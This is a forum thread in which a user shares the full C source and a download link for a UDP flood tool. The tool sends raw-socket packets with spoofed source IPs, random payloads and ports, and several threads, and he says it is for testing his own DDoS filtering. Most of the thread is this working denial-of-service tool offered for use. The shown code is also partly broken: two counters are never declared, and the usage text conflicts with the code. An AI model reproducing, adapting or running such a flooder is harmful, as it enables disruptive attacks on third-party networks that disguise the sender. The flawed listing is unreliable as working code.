Roy 10,832 / 0 Report Post Posted March 12, 2020 Hey everyone, I just wanted to share a simple program I made in C. This tool can be used to perform DoS attacks and if used from multiple servers, is considered a (D)DoS. It's capable of sending simple UDP floods. I am only using this program internally to test programs I make capable of filtering (D)DoS attacks. Description A C program I made to send UDP packets to a specified destination IP and port via raw sockets. This program supports the following: pthreads (multi-threading). Specifying a source IP (including spoofing the IP). Minimum and maximum payload length (randomized for each packet). Randomized source ports (from 10000 to 60000). Wait times (intervals) between sending packets on each thread. Calculates both the IP Header and UDP Header checksums. Note - This program does not support packet fragmentation and there's really no point to add that support since that's not what the program is made for. Why Did I Make This? I am currently learning more about in-depth packet inspection along with learning how (D)DoS attacks work. I made this program and only use it on my local network. I am planning to create a UDP server application that is capable of filtering (D)DoS attacks and blocking them using XDP once detected. This tool will be used to test this server application I will be making. Eventually I will be making software that'll run on my Anycast network that will be capable of dropping detected (D)DoS attacks via XDP on all POP servers. Compiling I used GCC to compile this program. You must add -lpthread at the end of the command when compiling via GCC. Here's an example: gcc -g UDP_Sender.c -o UDP_Sender -lpthread Usage Usage is as follows: Usage: ./UDP_Sender <Source IP> <Destination IP> <Destination IP> [<Max> <Min> <Interval> <Thread Count>] Please note that the interval is in microseconds. The Min and Max payloads are in bytes. If you set the interval to 0, it will not wait between sending packets on each thread. Here's an example: ./UDP_Sender 192.168.80.10 10.50.0.4 27015 1000 1200 1000 3 The above continuously sends packets to 10.50.0.4 (port 27015) and appears from 192.168.80.10 (in my case, spoofed). It sends anywhere from 1000 - 1200 bytes of payload data every 1000 microseconds. It will send these packets from 3 threads. To-Do List Pick source IPs from a configuration file on disk and randomize it for each packet. Experiments I was able to push around 300 mbps (~23K PPS) using this program on my local network. This was with no interval set and using one thread. The VM sending the information had 6 vCPUs and the processor was an older Intel Xeon clocked at 2.4 GHz. This VM was also using around 90 - 95% CPU when having this program running. Download Direct GitHub Repository If you're an experienced programmer and see anything that can be improved, please let me know! Thanks. Share this post Link to post Share on other sites More sharing options...
Roy 10,832 / 0 Report Post Posted March 12, 2020 Edited March 12, 2020 by Roy Here is the code as of March 12th, 2020 for anyone that hasn't visited the GitHub links. I don't really expect to make any changes to this code, I might make a new program in the future that'll be improved. Still not sure. It does what I need it to do. In the future, I'll probably make other programs that targets other protocols like TCP and ICMP along with learning how to block certain attacks, etc. UDP_Sender.h #define MAX_PCKT_LEN 65535 extern int errno; uint8_t cont = 1; struct connection { char *sIP; char *dIP; uint16_t dPort; uint8_t sockfd; uint16_t max; uint16_t min; uint64_t time; uint16_t threads; }; UDP_Sender.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <string.h> #include <error.h> #include <errno.h> #include <signal.h> #include <time.h> #include <sys/time.h> #include <pthread.h> #include <inttypes.h> #include "UDP_Sender.h" void sigHndl(int tmp) { cont = 0; } uint16_t randNum(uint16_t min, uint16_t max) { return (rand() % (max - min + 1)) + min; } // Calculates IP Header checksum. uint16_t ip_csum(uint16_t *buf, size_t len) { uint32_t sum; for (sum = 0; len > 0; len--) { sum += *buf++; } sum = (sum >> 16) + (sum & 0XFFFF); sum += (sum >> 16); return (uint16_t) ~sum; } // Calculates UDP Header checksum. Rewrote - https://gist.github.com/GreenRecycleBin/1273763 uint16_t udp_csum(struct udphdr *udphdr, size_t len, uint32_t srcAddr, uint32_t dstAddr) { const uint16_t *buf = (const uint16_t*) udphdr; uint16_t *ip_src = (void *) &srcAddr, *ip_dst = (void *) &dstAddr; uint32_t sum; size_t length = len; sum = 0; while (len > 1) { sum += *buf++; if (sum & 0x80000000) { sum = (sum & 0xFFFF) + (sum >> 16); } len -= 2; } if (len & 1) { sum += *((uint8_t *) buf); } // Pseudo header. sum += *(ip_src++); sum += *ip_src; sum += *(ip_dst++); sum += *ip_dst; sum += htons(IPPROTO_UDP); sum += htons(length); while (sum >> 16) { sum = (sum & 0XFFFF) + (sum >> 16); } return (uint16_t) ~sum; } void *connHndl(void *data) { // Get passed data. struct connection *con = data; while (1) { // Initiate variables. unsigned char buffer[MAX_PCKT_LEN]; struct iphdr *iphdr = (struct iphdr *) buffer; struct udphdr *udphdr = (struct udphdr *) (buffer + sizeof(struct iphdr)); unsigned char *pcktData = (unsigned char *) (buffer + sizeof(struct iphdr) + sizeof(struct udphdr)); // Set everything to 0. memset(buffer, 0, MAX_PCKT_LEN); // Let's generate a random amount of data. uint16_t len = randNum(con->min, con->max); for (uint16_t i = 1; i <= len; i++) { *pcktData++ = randNum(0, 255); } uint16_t port = randNum(10000, 60000); // Initiate socket variables. struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(con->dIP); memset(&sin.sin_zero, 0, sizeof(sin.sin_zero)); // Fill out IP and UDP headers. iphdr->ihl = 5; iphdr->frag_off = 0; iphdr->version = 4; iphdr->protocol = IPPROTO_UDP; iphdr->tos = 16; iphdr->ttl = 64; iphdr->id = 0; iphdr->check = 0; iphdr->saddr = inet_addr(con->sIP); iphdr->daddr = inet_addr(con->dIP); iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + len; udphdr->uh_dport = htons(con->dPort); udphdr->uh_sport = htons(port); udphdr->len = htons(sizeof(struct udphdr) + len); udphdr->check = udp_csum(udphdr, sizeof(struct udphdr) + len, iphdr->saddr, iphdr->daddr); iphdr->check = ip_csum((uint16_t *)buffer, sizeof(struct iphdr)); //fprintf(stdout, "Attempting to send packet to %s:%u from %s:%u with payload length %" PRIu16 " on sock " PRIu8 ". IP Hdr Length is %" PRIu16 " and UDP Hdr length is %" PRIu16 ".\n", con->dIP, con->dPort, con->sIP, port, len, con->sockfd, iphdr->tot_len, udphdr->len); uint16_t dataSent; // Send the packet. if ((dataSent = sendto(con->sockfd, buffer, iphdr->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin))) < 0) { fprintf(stdout, "Failed to send a packet. Error - %s (Sock FD is %" PRIu8 ")\n", strerror(errno), con->sockfd); } totalData += dataSent; packets++; // Wait. if (con->time > 0) { usleep(con->time); } } // Close thread. pthread_exit(NULL); } int main(int argc, char *argv[]) { // Check argument count. if (argc < 4) { fprintf(stdout, "Usage: %s <Source IP> <Destination IP> <Destination IP> [<Max> <Min> <Interval> <Thread Count>]", argv[0]); exit(0); } time_t start = time(NULL); // Create connection struct and fill out with argument data. struct connection con; con.sIP = argv[1]; con.dIP = argv[2]; con.dPort = atoi(argv[3]); con.min = 1000; con.max = 60000; con.time = 100000; con.threads = 1; // Min argument (optional). if (argc > 4) { con.min = atoi(argv[4]); } // Max argument (optional). if (argc > 5) { con.max = atoi(argv[5]); } // Interval argument (optional). if (argc > 6) { con.time = strtoul(argv[6], NULL, 10); } // Threads argument (optional). if (argc > 7) { con.threads = atoi(argv[7]); } // Create socket. int sockfd; int8_t one = 1; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP); // Check for socket error. if (sockfd <= 0) { fprintf(stderr, "Socket() Error - %s\n", strerror(errno)); perror("socket"); exit(1); } // Assign sockfd. con.sockfd = sockfd; // Set socket option that tells the socket we want to send our own headers. if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { fprintf(stderr, "SetSockOpt() Error - %s\n", strerror(errno)); perror("setsockopt"); // Close socket. close(sockfd); exit(1); } // Signal. signal(SIGINT, sigHndl); // Create threads. for (uint16_t i = 1; i <= con.threads; i++) { // Create thread to handle packets. pthread_t tid; if (pthread_create(&tid, NULL, connHndl, (void *)&con) != 0) { fprintf(stderr, "Failed to create thread #%" PRIu16 ".\n", i); } fprintf(stdout, "Spawned thread #%" PRIu16 "...\n", i); } // Prevent program from closing. while (cont) { sleep(1); } time_t end = time(NULL); time_t total = end - start; uint64_t pps = (uint64_t)(packets / (uint64_t)total); uint64_t totalMbits = totalData / 125000; uint64_t mbits = (uint64_t)(totalMbits / (uint64_t)total); fprintf(stdout, "\nTotal Time Elapsed => %jd seconds\nPacket Count => %" PRIu64 " (%" PRIu64 " PPS)\nData Sent => %" PRIu64 " megabits (%" PRIu64 " mbps)\n", total, packets, pps, totalMbits, mbits); // Close socket. close(sockfd); // Close the program successfully. exit(0); } Thanks. Edited March 12, 2020 by Roy Share this post Link to post Share on other sites More sharing options...
Nick 1,249 / 17,857 Report Post Posted March 12, 2020 · Hidden Hidden Who is this "Player" sharing DoS tools? smh On a serious note, happy to see you're still at it! Code looks noice and clean. 😄 Wanna know what I am up to? Take a look at my personal Trello board or my cards on the Development Trello board! Share this post Link to post
Roy 10,832 / 0 Report Post Posted March 12, 2020 13 minutes ago, Nick said: Who is this "Player" sharing DoS tools? smh On a serious note, happy to see you're still at it! Code looks noice and clean. 😄 Been doing a lot the past couple weeks and making a lot of progress Share this post Link to post Share on other sites More sharing options...